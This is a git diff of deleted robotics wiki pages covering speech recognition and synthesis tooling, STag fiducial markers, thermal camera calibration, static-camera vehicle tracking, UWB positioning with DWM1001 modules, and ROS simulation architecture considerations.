with the only downside being that there is no low level access so the only thing you can do is upload an audio file and get back a string of output. - - You can make use of [Python's Speech Recognition Package](https://pypi.python.org/pypi/SpeechRecognition/), to use this API and many others. This package also supports CMUSphinx. - -> Note: Google's Speech API requires a key which can be found in the source code of this package. You can bypass the use of this entire package if you don't wish to have this additional layer between Google's Speech API and your script. -The source code with examples can be found [here.](https://github.com/Uberi/speech_recognition) -The key can be found [here.](https://github.com/Uberi/speech_recognition/blob/master/speech_recognition/__init__.py#L613) - -## Example -Here is a simple example of how to use the Speech Recognition package: -```python -import speech_recognition as sr - -# obtain audio from the microphone -r = sr.Recognizer() - -# Calibrate the microphone -with sr.Microphone() as source: - print("Calibrating microphone...") - r.adjust_for_ambient_noise(source, duration=5) - print("Calibration complete!") - -with sr.Microphone() as source: - print("Say something!") - audio = r.listen(source) - -# recognize speech using Google Speech Recognition -try: - print("Google Speech Recognition thinks you said " + r.recognize_google(audio)) -except sr.UnknownValueError: - print("Google Speech Recognition could not understand audio") -except sr.RequestError as e: - print("Could not request results from Google Speech Recognition service; {0}".format(e)) -``` - -## Hotword/Wakeword Detection - -Hotword detection is a very useful feature to have in a robot. It allows the robot to be activated by a simple voice command. This can be used to wake up the robot from sleep mode or to activate a particular function. For example, you can use hotword detection to wake up the robot from sleep mode and then use speech recognition to give it a command. - -### Snowboy - -Snowboy is a hotword detection engine. It is available [here](https://github.com/seasalt-ai/snowboy). It is available for Python, C++ and Java. - -### Porcupine - -Porcupine is a hotword detection engine. It is available [here](https://picovoice.ai/platform/porcupine/). Note that this is a paid service with a high level of accuracy. - -### Keyword Spotting - -Few-shot Keyword Spotting in Any Language and Multilingual Spoken Word Corpus by Harvard University. Follow this [link](https://github.com/harvard-edge/multilingual_kws) to know more. - -## Microphone Selection - -Choosing the right microphone is crucial for good speech recognition. You would ideally want a microphone with a long pickup range and a high signal-to-noise ratio. You can use a USB microphone for this purpose. One such microphone is the Blue Yeti. It is a high quality USB microphone with a long pickup range and a high signal-to-noise ratio. - -If you are looking for a sleek and light-weight design, you can consider using conference microphones such as the Anker PowerConf series. You can also consider Movo MC1000. Both of these require a USB connection and are plug-and-play. - -## Noise Suppression - -Often times, your robot might be operating in a noisy environment. This can cause the speech recognition to fail. To overcome this, you can use a noise suppression algorithm. - -### AI-based Noise Suppression - -One such algorithm is the NoiseTorch algorithm. It is a simple noise suppression algorithm that uses PyTorch. It is available [here](https://github.com/noisetorch/NoiseTorch). NoiseTorch is very light weight and works on most modern CPU out-of-the-box with very less computational load. - -If you have an NVIDIA GPU, you can try using NVIDIA RTX Voice. It is available [here](https://www.nvidia.com/en-us/geforce/guides/nvidia-rtx-voice-setup-guide/). It is a more advanced noise suppression algorithm that uses AI to remove noise. It is more computationally intensive and requires an NVIDIA GPU with RTX support. - -### Hardware-based Noise Suppression - -If you are using a Raspberry Pi, you can use the [ReSpeaker](https://wiki.seeedstudio.com/ReSpeaker_2_Mics_Pi_HAT/) microphone. It has a built-in noise suppression algorithm that works well in most environments. - -### Adjusting the Microphone Sensitivity - -The microphone sensitivity can be adjusted using the `pavucontrol` program. This is available on Ubuntu. You can install it using `sudo apt install pavucontrol`. Once installed, you can run it using `pavucontrol`. This will open a GUI. You can then adjust the microphone gain using the slider: - -![pavucontrol](/assets/images/sensing/pavucontrol.png) - -### Echo Cancellation - -If you are using a speaker and a microphone, you might face issues with echo. This can be solved by using a software echo cancellation algorithm. One such algorithm is the PulseAudio echo cancellation module. It is available [here](https://www.freedesktop.org/wiki/Software/PulseAudio/Documentation/User/Modules/#module-echo-cancel). It is available on Ubuntu and can be installed using `sudo apt install pulseaudio-equalizer`. Once installed, you can enable it using `pactl load-module module-echo-cancel aec_method=webrtc sourc_name=echocancel sink_name=echocancel1`. - -You can also enable it permanently by adding the following lines to `/etc/pulse/default.pa`: - -``` -.ifexists module-echo-cancel.so -load-module module-echo-cancel aec_method=webrtc source_name=echocancel sink_name=echocancel1 -set-default-source echocancel -set-default-sink echocancel1 -.endif -``` - -## Speech Synthesis - -Speech synthesis is the process of generating speech from text. This can be used to make the robot speak. This can be used to give feedback to the user or to make the robot more interactive. - -### Google Text-to-Speech - -Google Text-to-Speech is a speech synthesis engine. It is available [here](https://cloud.google.com/text-to-speech). You can play around with the base model and choose the voice that you like. You may also consider using the WaveNet or Neural2 models for a more natural sounding voice. These models are bleeding-edge and are developed by DeepMind at Google. Try adjusting the pitch to give a more friendly feel to the robot. - -### eSpeak - -eSpeak is a speech synthesis engine. It is available [here](http://espeak.sourceforge.net/). It is a light-weight speech synthesis engine that can be used on low-end devices. It is available for Linux, Windows and Mac. - -### Festival - -Festival is a speech synthesis engine. It is available [here](http://www.cstr.ed.ac.uk/projects/festival/). It is a light-weight speech synthesis engine that can be used on low-end devices. It is available for Linux, Windows and Mac. - -### MaryTTS - -MaryTTS is a speech synthesis engine. It is available [here](http://mary.dfki.de/). It is written in Java and can be used on low-end devices. It is available for Linux, Windows and Mac. - -## References - -- [CMU Sphinx](http://cmusphinx.sourceforge.net/wiki/) -- [Python Speech Recognition](https://pypi.python.org/pypi/SpeechRecognition/) -- [Google Speech API](https://cloud.google.com/speech/) -- [NoiseTorch](https://github.com/noisetorch/NoiseTorch) -- [NVIDIA RTX Voice](https://www.nvidia.com/en-us/geforce/guides/nvidia-rtx-voice-setup-guide/) -- [ReSpeaker](https://wiki.seeedstudio.com/ReSpeaker_2_Mics_Pi_HAT/) -- [PulseAudio echo cancellation module](https://www.freedesktop.org/wiki/Software/PulseAudio/Documentation/User/Modules/#module-echo-cancel) -- [Google Text-to-Speech](https://cloud.google.com/text-to-speech) -- [eSpeak](http://espeak.sourceforge.net/) -- [Festival](http://www.cstr.ed.ac.uk/projects/festival/) -- [MaryTTS](http://mary.dfki.de/) - - -/wiki/sensing/stag.md ---- -date: 2022-05-04 -title: STag ---- - -STag is a stable fiducial marker system that provides stable pose estimation. STag is designed to be robust against jitter factors. As such it provides better pose stability than existing solutions. This is achieved by utilizing geometric features that can be localized more repeatably. The outer square border of the marker is used for detection and homography estimation. This is followed by a novel homography refinement step using the inner circular border. After refinement, the pose can be estimated stably and robustly across viewing conditions. - -![STag Marker](https://user-images.githubusercontent.com/19530665/57179654-c0c11e00-6e88-11e9-9ca5-0c0153b28c91.png) - -![STag Marker Under Occlusion](https://user-images.githubusercontent.com/19530665/57179660-cae31c80-6e88-11e9-8f80-bf8e24e59957.png) - - -## ROS implementation - -[Dartmouth Reality and Robotics Lab](https://github.com/dartmouthrobotics/stag_ros) and [Unmanned Systems & Robotics Lab - University of South Carolina (UofSC)](https://github.com/usrl-uofsc/stag_ros) provide ROS packages that wrap original STag library and provide the marker pose as output in ROS format. We recommend using the library provided by UofSC as it seems to be continously updated. It also has support for ROS kinectic, melodic, and noetic. Moreover it is capable of working with fisheye lens. They also provide ROS nodelet support. All results in this article were generated using the library provided by UofSC. - -## Setup - -The [Unmanned Systems & Robotics Lab - University of South Carolina (UofSC)](https://github.com/usrl-uofsc/stag_ros) repository has mentioned the steps necessary to build and how to use the library. In addition they also provide some bag files to verify their implementation. - -We would like to point out that while building on low compute power devices and SBCs like the Raspberry Pi and Odroid, adding the following commands to catkin_make will help prevent freeezing issues while building: - -``` -catkin_make -DCMAKE_BUILD_TYPE= -j2 -l2 -``` - -## Configuration - -The library provided uses yaml files which can be found under the `/cfg` folder. - -The `single.yaml` file is used to help configure the library of tags to use and the error correction that should be used (Refer to the paper for exact details, but setting errorCorrection to (libraryHD / 2) - 2 seems to give good results). Set ```camera_info_topic``` and ```raw_image_topic``` to your ros camera topics accordingly. - -The `singe_config.yaml` file is used to help configure which marker ids will be used for pose calculation along with the marker size. How to define the marker size, with respect to which corner, frame of reference, etc., can be found in this [issue rasised on github](https://github.com/usrl-uofsc/stag_ros/issues/8). - - -## Experimental Results - -In informal tests, the STag were able to achieve accuracy within +- 2 centimeters of the actual pose when the camera was within 5 meters of the tag. If the robot was further away, the accuracy decreased proportionally to the distance from the tag. The parameters that can help improve marker detection, speed and accuracy are discussed in the next section. - -## Parameters that effect marker detection, speed and accuracy: -1. Marker size - - The following results where obtained by using one of the mono global shutter camera in OAK-D at 720p resolution and 60 FPS. - - | Paper Size | Marker Size | Distance From Camera
at which marker is detected | - |-------------- |------------- |:---------------------------------------------------: | - | A4 | 16.1 cm | 2-2.5 meters | - | 24x24 inches | 51 cm | 12-15 meters | - | 36x36 inches | 86 cm | 22-25 meters | - -2. Detection Speed - - This is highly dependent on the image resolution and which flags were used during compilation (Debug/Release). - - - | Processor | Flag | FPS | - |------------------------------------------ |--------- |------- | - | AMD Ryzen™ 7 5800H Processor | Debug | 20-25 | - | AMD Ryzen™ 7 5800H Processor | Release | 45-50 | - | Raspberry Pi 4 Model B 2019
(4GB RAM) | Debug | 5-6 | - | Raspberry Pi 4 Model B 2019
(4GB RAM) | Release | 10-15 | - -3. Camera Parameters - - **Exposure**, **ISO sensitivity** and **shutter type** are three camera main parameters which can help greatly improve marker detection. It is highly recommend to use ***global shutter cameras*** instead of rolling shutter cameras to avoid aliasing effects. Exposure and ISO sensitivity parameters are dependent on the application. In our case (TeamJ, MRSD 2021-23), the camera was mounted on a VTOL and the marker was to be detected from at least 12 meters away in outdoor environments. In order to do so, we had to use the lowest exposure (= 1 microsecond) and ISO sensitivity (= 100) settings for our camera. The GIF below shows how exposure and ISO sensitivity affects marker detection output. - - ![exposure and iso sensitivity settings affecting marker detection](/assets/images/sensing/stag_exposure.gif) - -## Tips - -- Use your favourite photo editor tool to measure the marker size in meters before printing. Using this value is advised in the config file as it greatly improves the accuracy of marker pose detected. -- Using bundles doesn't seem to effect the accuracy of the marker pose, although please note in this case all markers were assumed to be in a single plane. May be off-setting the markers in Z relative to each other might lead to better accuracy -- It is recommend to not use the marker pose directly and instead have a processing node that subscribes to the marker pose and performs some kind of filtering on the pose. This [library](https://github.com/dmicha16/ros_sensor_filter_kit) could be used with some changes or the code we have written to do the same can be found [here](https://github.com/Project-DAIR/pose_correction/blob/main/scripts/pose_correction.py). - -## References -- STag Paper: https://arxiv.org/abs/1707.06292 -- STAG Markers : [Drive Folder](https://drive.google.com/drive/folders/0ByNTNYCAhWbIV1RqdU9vRnd2Vnc?resourcekey=0-9ipvecbezW8EWUva5GBQTQ&usp=sharing) -- STag Github Repository: http://april.eecs.umich.edu/wiki/index.php/AprilTags -- STag ROS Wrapper provided by Dartmouth Reality and Robotics Lab: https://github.com/dartmouthrobotics/stag_ros -- STag ROS Wrapper provided by Unmanned Systems & Robotics Lab - University of South Carolina (UofSC) : https://github.com/usrl-uofsc/stag_ros -- ROS Sensor Filter Kit : https://github.com/dmicha16/ros_sensor_filter_kit -- Pose Correction : https://github.com/Project-DAIR/pose_correction/blob/main/scripts/pose_correction.py - - -/wiki/sensing/thermal-cameras.md ---- -date: 2022-05-04 -title: Thermal Cameras -published: true ---- -## Types of Thermal Cameras -Types of Thermal Cameras (classified on the basis of operation): - -### 1. Cooled Cameras -- #### Working - - They have an internal cryogenic cooler that only cools the sensor to temperatures as low as 77° Kelvin (-196°C or -321°F). This dramatically increases the sensitivity of the Cooled Thermal cameras allowing them to see day and night at longer ranges than uncooled cameras as their greater sensitivity. - - Most cooled thermal cameras are InSb and have to be cooled continuously - -- #### Use cases - - When very good object detection is needed at very long range - - When you have a lot of money - - When weight and power constraints are forgiving - -### 2. Uncooled Cameras -- #### Working - - Uncooled cameras are based on VoX infrared sensor and are often uncooled - - Due to continuous operation and increase in temperature of the focal plane array, there is a drift in the electrical properties of the sensor elements. - - This requires compensation/correction which can be done in two ways: one-point and two-point Non Uniformity Correction. This is covered in greater detail later in this wiki. - -- #### Use cases - - For most projects with reasonable budgets - - For use with UAVs where weight and power budgets are tight - -- #### Our experiences - - IR crossover - - Difficulty in segmenting out hot objects due to a phenomenon called IR crossover. - - This is basically a situation outdoors during some times of the day where the sunlight scattered by the environment washes out the output of the camera. - - NUC failure - - Persistent ghosting effect seen in the camera output. - - This was due to mechanical damage to the camera NUC apparatus (see NUC section for more information) - - Intermittent NUC also intermittently drops the output frame rate which may not be acceptable depending on the use case. - -### 3. Radiometric Cameras -- #### Working - - A radiometric thermal camera measures the temperature of a surface by interpreting the intensity of an infrared signal reaching the camera. . - - Reports pixel-wise temperature values for entire image captured - -- #### Use cases - - When absolute temperature of objects is needed - - To ease implementation of temperature based segmentation instead of using more complicated algorithms on uncooled camera images - - Especially useful when there is a high contrast between temperatures of objects. - - Not as useful to try and segment humans in an indoor environment where temperature difference can’t be used reliably for segmentation - -- #### Our experiences - - We found this type of camera very helpful in combatting the IR crossover phenomenon seen outdoors during daytime testing. - - Also helped us side-step any issues due to NUC - - We ended up using the Seek Thermal camera for this purpose (refer to resources section for relevant links to datasheet and SDK) - -## Uncooled Thermal Camera NUC - -### What is NUC? - -**Non-uniformity correction (NUC)** is a procedure in uncooled thermal cameras to compensate for detector drift that occurs as the scene and environment change. Basically, the camera's own heat can interfere with its temperature readings. To improve accuracy, the camera measures the IR radiation from its own optics and then adjusts the image based on those readings. NUC adjusts gain and offset for each pixel, producing a higher quality, more accurate image. - -There are two types of NUC calibration: -- **Two-point NUC** - - - A two point NUC is a means to capture the gain and drift of each of the pixel elements while looking at a simulated black-body. In this case, the entire image should have an output of zero intensity as it is looking at a black-body. Any deviation from this is stored as the offset for this pixel in a lookup table. This process is then performed over a range of operating temperatures and during operation, based on the ambient temperature, the offsets from the lookup tables are applied. This is usually a factory calibration routine performed by the vendor before sale. - - - This still does not suffice at times, with washed out images seen some times during operation. The one-point NUC is a means to help alleviate this. - - -- **One-point NUC** - - - This procedure works by intermittently concealing the detector with a plane so that light does not fall on this. The plane is then assumed to be a black body and calibration is performed against this. This phenomenon is accompanied by a drop in frame rate as no images are captured during this time (In the case of the FLIR Boson, it also makes an audible “click” sound). - - In case of the FLIR Boson, there is a pre-set temperature delta, which determines the when the NUC occurs. Every time the detector temperature changes by this amount, the NUC is initiated. NUC is also frequently referred to as FFC in FLIR documentation - - The FLIR Boson app also allows control over the duration for which the NUC occurs, giving some control of the drop in frame rate. - -## Debug tips and our experience with the FLIR Boson -- Quite a few of the cameras we picked up from inventory gave images with a persistent ghosting effect. -- This we later realized was due to mechanical damage due to impact/ the cameras being dropped previously. -- This caused the NUC shutter to prevent from engaging whenever the NUC routine as getting called, leading to the current scene in view being used as the template to be used as the sample black-body output to be compensated against. -- An update in the ghosting pattern coinciding with a click sound is a reliable symptom for this mode of failure. -- This failure can sometimes be intermittent based on how tight the fasteners on the detector stack are and the orientation of the camera. -- Some ways to lessen the extent of the problem is to use the FLIR Boson app and try adjusting the following settings: - - Increase the temperature threshold for performing FFC. - - This will just increase the temperature change interval between which the FFC is performed. In case you do not anticipate very great change in detector temperature (short term use, cool ambient temperatures etc) this might delay the FFC long enough to not occur during operation. - - Disable FFC altogether - - This will just never initiate the FFC process. - - However, the **FLIR Boson performs one FFC on bootup regardless**. So, you will have to power on the camera with a lens cap or looking at a uniform low temperature featureless scene in either case. -- We also found the camera to be deficient in giving a very high contrast of fires/ hotspots in open areas in broad daylight due to the IR crossover phenomenon. - -**NOTE:** The efficacy of all these methods must be determined experimentally based on your use cases and operating conditions. Please use the suggestions above only as a list of possible options to try out and not a prescriptive solution. - -## Resources -- [Seek Thermal Camera Driver](https://github.com/howde-robotics/seek_driver) -- [Seek SDK](https://developer.thermal.com/support/home) (will require creating an account) -- [Seek Thermal Camera Datasheet](https://www.digikey.com/en/products/detail/seek-thermal/S304SP/10492240) -- [FLIR Boson App](https://www.flir.com/support/products/boson/#Downloads) - -## Further Reading -- www.infinitioptics.com/glossary/cooled-thermal -- www.flir.com/discover/suas/uas-radiometric-temperature-measurements -- www.flir.com/discover/security/radiometric/the-benefits-and-challenges-of-radiometric-thermal-technology -- www.flir.com/discover/professional-tools/what-is-a-non-uniformity-correction-nuc - - -/wiki/sensing/trajectory-extraction-static-camera.md ---- -date: 2020-12-07 -title: Tracking vehicles using a static traffic camera ---- - -Tracking vehicles using static camera is a useful tool for various use cases pertaining to both macro/micro traffic flow. We present a system where we extract vehicle trajectories using a monocular camera mounted at an intersection. - -We utilize a HD map and precompute homographies between the image plane of the camera and a bird's eye view plane where we finally project our trajectories. -![data_capture](/assets/images/sensing/Data_capture.png) - -1. ### 2D detection and tracking -We use detectron 2 and SORT as preliminary vehicle detection and tracking algorithms in the camera frame. The algorithms give a bounding box on estimate. -![detectron_sort_result](/assets/images/sensing/detection_sort_output.png) - -2. ### Homography estimation to transform points image plane corresponding to a bird's eye view -A ransac based homography is required to be precomputed between 2 image planes in camera and bird's eye view space. OpenCV's `cv::findhomography()` might be handy here. - -3. ### Bird's eye view and region of interest -For getting a bird's eye view of an -The bird's eye view can capture a fairly large space of the map depending on where the view is taken from. However the homography estimate is not good at the points far away from the camera origin. For this case we predefine a region of interest in the bird's eye view space and any vehicle out of this region is ignored. -![Bev_frame](/assets/images/sensing/bev_fifthcraig.jpg) - -4. ### HD Map -A HD Map for the world is a prerequisite. Since the intersection we captured data from didn't have a prior map available, we ended up creating our own vanilla map. The major requirements for the map are the information containing the lanes, their directions and the corresponding lane center lines. - ![HD_Map](/assets/images/sensing/HD_map.png) - -5. ### Tracking in the bird's eye view space -For sake of avoiding confusion with the tracker in the camera space (SORT) , we will call this tracker as the BEV tracker throughout the rest of this post. This tracker tracks the position and velocity of the vehicles in the bird's eye view frame. - -#### Why is a tracker in bird's eye view required when there is one in camera frame already? -Because sometimes occlusions occur in camera frame and not in bird's eye view frame. -#### Why is a tracker in camera frame required when there is one in bird's eye view frame already? -Because sometimes occlusions occur in bird's eye view frame and not in camera frame. For instance as with the case of a overhead bridge. - -Tracked state of a vehicle - **[x, y, vx, vy]** - -* #### Preprocess incoming data from SORT/detector - - Incoming data - - ***{id1: [x,y,vx,vy],*** - ***id2:[x,y,vx,vy]...}*** - * Eliminate any incoming vehicle positions that are out of the region of interest. - * Do not track any vehicle yet which is not seen for a minimum threshold of n frames.(To avoid tracking false positives from the detector) - -* #### Predict tracked vehicles' positions - - For the vehicles which are tracked by the BEV tracker we predict their positions for the next frame. We use a point based constant velocity model. We find that it works better than point based constant acceleration model. - -* #### Data Association - - The ID association problem is modeled as a linear sum assignment. We use the Hungarian algorithm to solve this. The cost is defined as the euclidean distance between states of any two vehicles. - ![Cost between two vehicles](/assets/images/sensing/distance.png) - * This is then formed into a matrix where rows contain ids from bev tracker and columns contain ids from SORT. - ![Linear Sum assignment problem](/assets/images/sensing/costmatrix_formation.png) - * Adding the priors from SORT- - The same IDs from tracker and SORT (say i and j), we assign the cost - between those vehicles as 0 or Cij = 0. - * Solving the above problem results in associated id list such as say- **[(ik, jl); (ik', jl');(ik'', jl'')]** - * It is better to model any constraint in the cost function itself. However, a custom feasibility check of these associations can also be added afterwards. - * Those vehicles for which associations are not found, are identifed as new vehicles. - -* #### Fuse states - - We do a weighted average of the predicted states from SORT and bev tracker. The weights are kept static and set in the beginning. One could try estimating the noise model from the SORT and then possibly make updates via a extended kalman filter. - -* #### Postprocess - - * Use map to estimate position - - We assume all vehicles go along the center line of the lane it is in. For each of the vehicles to account for the wrong perspective as well as bev tracking prediction errors we shift them to the nearest center line. - * Smoothen the trajectories - - The results from data association and the operation of moving to center lane can be noisy, so we smoothen the previous trajectory of the vehicle for nmin frames. This number is usually kept as a function of the FPS of the captured images. - * Remove the vehicles not seen for more than nmax frames. - * Avoid collisions. We ignore any prediction which results in a collision with a neighbouring / leading vehicle. This usually happens due to some noisy assoiation or vehicle state input. - * Limit the local vehicle velocities to maximum threshold. -* #### Maintain history - - * Apart from keeping the vehicle states, we maintain the following history of the tracked vehicles alongside- - * The lanes they have traversed. - * Number of consecutive frames they are seen for. - * Number of consecutive frames they have not been seen for. - -![Tracking Results](/assets/images/sensing/tracking_results.png) - -#### References: -* [1] Yuxin Wu, Alexander Kirillov, Francisco Massa, Wan-Yen Lo, and Ross Girshick.Detectron2. https://github.com/facebookresearch/detectron2, 2019. -* [2] Alex Bewley, ZongYuan Ge, Lionel Ott, Fabio Ramos, and Ben Upcroft. Simple online and real- -time tracking. CoRR, abs/1602.00763, 2016. -* [3] Scipy linear sum assignment. https://docs.scipy.org/doc/scipy-0.18.1/reference/generated/scipy.optimize.linear_sum_assignment.html. - - -/wiki/sensing/ultrawideband-beacon-positioning.md ---- -date: 2022-12-05 -title: DWM1001 UltraWideband Positioning System ---- -This page will go into detail about to get started with UltraWideband positioning, particuarly with the [DWM1001-Dev module](https://www.qorvo.com/products/p/DWM1001-DEV). - -### How does it work? - -UltraWideband is a short-range wireless communication protocol, allowing connected devices to communicate across short ranges, similar to bluetooth. Unlike blueooth, UltraWideband transmits over a wider frequency, allowing for a more precise and wider bandwith of communication, albeit over a shorter range. - -Ultrawideband positioning takes advantage of the communication pulses to sense distances between transmitters through a two-way ranging protocol described in detail [here](https://forum.qorvo.com/uploads/short-url/5yIaZ3A99NNf2uPHsUPjoBLr2Ua.pdf). As a simplification, it is able to measure the time period that messages take to transmit between devices, while accouting for potential clock and frequency shift between devices. - -By using multiple stationary devices, a single or multiple mobile beacons can be tracked by combining ranges through trilateration. - -![Example usage of a DWM1001 setup](/assets/images/sensing/assets_decawave_example_multi_anchor.png) -[Source](https://www.researchgate.net/profile/Teijo-Lehtonen/publication/281346001/figure/fig4/AS:284460038803456@1444831966619/DecaWave-UWB-localization-system-SDK-5.png) - -### Best Use Cases & Expected Quality - -At the time of writing, one of the most common modules for UWB is the DWM1001. Information of how to get started with that can be seen [here](LINK TO WIKI PAGE ON DWM1001). Since these modules are mass manufactured, they can be purchased very inexpensively and should be considered one of the most affordable options for positioning systems. - -### Limitations - -UltraWideband positioning systems work best in wide open spaces, such as convention spaces or warehouses. Not only will direct line-of-sight interference causes issues for UWB systems, but also multi-pathing can cause [serious problems](https://ieeexplore.ieee.org/document/7790604). - -Even in the best scenario, it should be expected that a UWB positioning system will be able to get an accuracy of approximately (15-20cm) accuracy in XY, and even worse in Z (explained more in the calibration section). - -## Setup - -In order to setup a DWM1001-Dev UltraWideband positioning system, it's important to have enough DWM1001-Dev modules (`beacons`) for your use case. Each one of the `beacons` can either be configured as a `tag`, `anchor`, or `gateway`. `tag`s represent mobile `beacons` that will be on your robot, `anchors` represent stationary anchors, and `gateways` are modules that sole job are to pipe information over serial to your compute stack. While there are multiple ways to get information from these devices, this guide will describes how to access it over a direct USB serial connection. - -![Architecture of a DWM1001-Dev setup with multiple gateways](/assets/images/sensing/dwm_arch.png) - -Before any work can be done on the `beacons`, they must be flashed with the pre-built software provided by the manufacturer for this task. A detailed guide can be found [here](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjNrN-T8OP7AhWTFVkFHRNTCzcQFnoECBMQAQ&url=https%3A%2F%2Fwww.qorvo.com%2Fproducts%2Fd%2Fda007972&usg=AOvVaw2va8gKJNC_mfXq5EQZAO0S) - -### Configuration & Calibration - -Once the beacons have been flashed, they need to be configured and calibrated. This can be one most easily using their provided Android app, [Decawave DRTLS APK](https://apkcombo.com/decawave-drtls-manager-r1/com.decawave.argomanager/). There is also information found [here](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjNrN-T8OP7AhWTFVkFHRNTCzcQFnoECBMQAQ&url=https%3A%2F%2Fwww.qorvo.com%2Fproducts%2Fd%2Fda007972&usg=AOvVaw2va8gKJNC_mfXq5EQZAO0S) about performing this work directly through a command line, but it is less documented. - -![DRTLS App Screenshot](/assets/images/sensing/drtls_app.png) - -In order to use the app, follow the instructions linked [here](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwi-id_G9-P7AhVIGVkFHVIPBZ0QFnoECA0QAQ&url=https%3A%2F%2Fwww.qorvo.com%2Fproducts%2Fd%2Fda007996&usg=AOvVaw09yRMbgwEx7hxTDpJP4G8D). - -#### Instructions Addendums - -In the instructions, it shows how to either automatically calibrate the positions of the `anchors` as well as how to manually input their positions. For best results, manually measure the 3D positions of the `anchors` using a high-precision device, including either a MOCAP system, high-fidelity laser scanner (eg. FARO), or a total station. - -It is possible to change the update rate of all `beacons`. For most real time positioning, it is reccomended to maximize this at 10Hz. - -During configuration, make note of the `beacon` IDS (eg. from `Tag DW11A1` the tag ID is `11A1`). This should be the ID used in the driver config to identify multiple tags independently. - -![DRTLS App - Beacon IDS](/assets/images/sensing/drtls_ids.png) - -At this point, the DRTLS app can be used directly to test the 3D positioning. Ensure all modules are powered, and if ther are, enter the "map" page of the app to view all of the `beacons` live, including the dynamic positioning of the `tag`. - -#### Dilution of Precision - -In most cases, the `anchors` are located around a room, such that they are relatively planar with respect to each other. For 2D localization, this is perfectly acceptable, but it becomes an issue when attempting 3D localization. This is due to the concept of *[dilution of precision](https://en.wikipedia.org/wiki/Dilution_of_precision_(navigation))*, which originated from GPS. For GPS, it means that as GPS satellites attempting to provide a location to a ground side receiver get relatively close to each other, the output precision of the ground side position estimation becomes poorer, as seen below: - -![GDOP Example](/assets/images/sensing/gdop_example.png) - -For UWB, this means that if the `anchors` are all close to the same Z plane, their Z localization precision will suffer. Ideally, all anchors should be placed at widely different heights to improve this. However, the beacons need to also be placed away from corners (such as the intersection of the floor/ceiling to the wall), leading to a difficulty. - - -### Publicly Available ROS/ROS2 Nodes - -Now with a functioning module setup, including calibration, it is possible to link this up with a robotic system. Below are links to two existing repositories to read serial data into a ROS/ROS2 ecosystem. - -[ROS Node](https://github.com/TIERS/ros-dwm1001-uwb-localization) - -[ROS2 Node](https://github.com/John-HarringtonNZ/dwm1001_dev_ros2) - -If you are linking multiple UART devices to a single compute platform, it is likely that they will showup as different names by default depending on when they are plugged in, etc. To standardize this, you can assign a specific name based on the hardware ID to ensure consistent naming conventions. Follow [this](https://gist.github.com/edro15/1c6cd63894836ed982a7d88bef26e4af) guide for details. diff --git a/wiki/simulation/__all_subsections.md b/wiki/simulation/__all_subsections.md deleted file mode 100644 index 30ff93fa..00000000 --- a/wiki/simulation/__all_subsections.md +++ /dev/null @@ -1,386 +0,0 @@ -/wiki/simulation/building-a-light-weight-custom-simulator/ ---- -date: 2020-05-11 -title: Building a Light Weight Custom Simulator -published: true ---- - -# Overview - -Out project makes extensive usage of simulators to test our reinforcement learning algorithm. Due to the fact that different simulators possess different functionalities and characteristics, we decided to use different simulators at different stages of the project. - -# Background - -While a high-fidelity simulator is always desirable for testing a robotics system from a technical perspective, but having the development process to block the testing of other modules is usually unwanted from a project management perspective. Additionally, it is better to test the system with minimal external noises at the early stage of a project. As a result, the presence of a light-weight low fidelity simulator is usually helpful to a project to allow for rapid prototyings. - -# Design Considerations - -As specified earlier, the design of this light-weight simulator holds a completely different philosophy from final stage testing simulators like CARLA. -1. Minimal external noises (e.g. Perception Inaccuracy, Controller Error, etc.) -2. Highly customizable (Easy to change: Vehicle Model, Environment, Agent Behavior, etc.) -3. Minimal development effort -4. Simple and reliable architecture - -# Minimal External Noises - -During project executions, software code base usually cannot deliver desired robustness at the beginning of the project, but it is still essential to test the best case performances of those algorithms. Therefore, as an early-stage testing tool, the light-weight simulator must minimize any noises present in the simulation. - -# Highly Customizable - -System design is usually not finalized at project early stages, as such many components of the system may change. Thus, the light-weight simulator must be able easily modifiable according to the design changes. - -# Minimal Development Effort - -Since this simulator is meant to test early stage implementation, its development should not be blocking any other tasks by taking longer than the other systems to be implemented. As a result, this simulator should only be implemented with the required functionalities with no additional workload. - -# Simple and Reliable Architecture - -The purpose of this simulator is to test other algorithms, and thus it should not take longer to debug than the system to be tested. Most of the time, simpler code structures are more reliable than complex ones, and especially multi-processing structures are the hardest to debug. - - -/wiki/simulation/design-considerations-for-ros-architectures/ ---- -date: 2020-05-11 -title: Design considerations for ROS Architectures ---- -# Overview -Over the past few months we have dicussed various ROS architectures, changed it at least two times in a major way and have come to appreciate the importance of designing a good architecture. We have also realized there are several important factors which need to be considered before finalizing a particular architecture. In this post we will detail the design decisions we had to make in the context of our project. - -## Background of our application: Use Case of ROS in Driving simulator -To give a brief background of the project we are working on, we are learning specific driving behaviors in simulation. We have several nodes performing various tasks. The nodes are: -- **State extraction node**: Receives the updated trajectories, updates the simulated state, and for each time step, publishes the required information about the state -- **RL agent node**: Based on the extracted state, the RL agent publishes high level decisions (go straight, turn, merge, stop). -- **Path planning node:** Based on the current location and high level decisions from CARLA, the path planner node publishes the updated trajectory - -All of this runs in a loop for the simulation to continuously render and reset. - - -# Design Considerations -Some of the important considerations before designing your ROS architecture are: -- What is the message drop out tolerance for our system? -- What is the overall latency our system can have? -- Do we need an synchronous form of communication or asynchronous form of communication? -- Which nodes need to necessarily be separated? - -### Message Drop Out Tolerance - -ROS is a far from ideal system. Although it uses the TCP (Transmission Control Protocol), due to various reasons (e.g. the nodes being too computationally intensive, delays, buffer overflows etc) there is an expected message drop out. This results in some of the messages not being received by the subscriber nodes. Although there is no quantifiable way to estimate how much drop out can occur, it is important to think about this for some critical nodes in your system. A couple of ways to address this issues is: -- try a bigger queue size -- try implementing smarter logic in your nodes to check for drop outs and handle them properly - -### Latency -Depending on your system, latency can cause many issues, ranging from annoying (simulation slowdown) to failures while interacting with dynamic objects in the real world. Some of the reasons for latency can be: -- Large messages -- Nodes running on different systems and communicating over LAN/WLAN -- TCP handshake delays - -Some of the ways to address the problems are: - -- Large messages naturally take more time to transmit and receive. A lot of delay can be removed by making your messages concise and ensuring only those nodes which need it, subscribe to them. -- Try as not to use WLAN connections for ROS communication, as usually it has the highest latency. Always prefer wired LAN over wireless LAN, and nothing is better than running the nodes on a same system for reducing latency in communication. -- Also weigh the delay of running heavy processes on a weak computer vs delay of communication while running these processes on different systems. This requires analysis of the trade off. -- Another useful trick is to switch on TCP_NODELAY transport hint for your publishers. This reduces latency of publishing. - 